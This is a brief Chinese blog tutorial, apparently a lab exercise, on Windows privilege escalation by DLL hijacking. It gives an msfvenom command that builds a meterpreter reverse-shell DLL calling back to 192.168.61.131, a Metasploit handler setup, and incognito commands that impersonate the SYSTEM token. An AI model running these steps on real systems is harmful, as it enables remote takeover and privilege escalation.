提权_DLL劫持提权

最新推荐文章于 2024-06-28 08:01:16 发布

草木caomu

最新推荐文章于 2024-06-28 08:01:16 发布

阅读量1.7k

点赞数 1

分类专栏：提权测试文章标签： windows 安全 visual studio

本文链接：https://blog.csdn.net/qq_44798520/article/details/121495276

版权

5 篇文章 0 订阅

订阅专栏

分析进程调用模块，找到可以利用的dll文件，本次试验劫持idmmkb.dll文件

在这里插入图片描述

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.61.131 lport=8888 -f dll >C:\Users\Ninja\Desktop\idmmkb.dll

在这里插入图片描述

在这里插入图片描述

>use exploit/multi/handler
>set payload windows/meterpreter/reverse_tcp
>set lhost 192.168.61.131
>set lport 8888
>exploit

等待程序运行，木马执行。

在这里插入图片描述

>use incognito  （进入incognito模块）
>list_tokens -u  （列出令牌）
>impersonate_token "NT AUTHORITY\\SYSTEM"

在这里插入图片描述

关注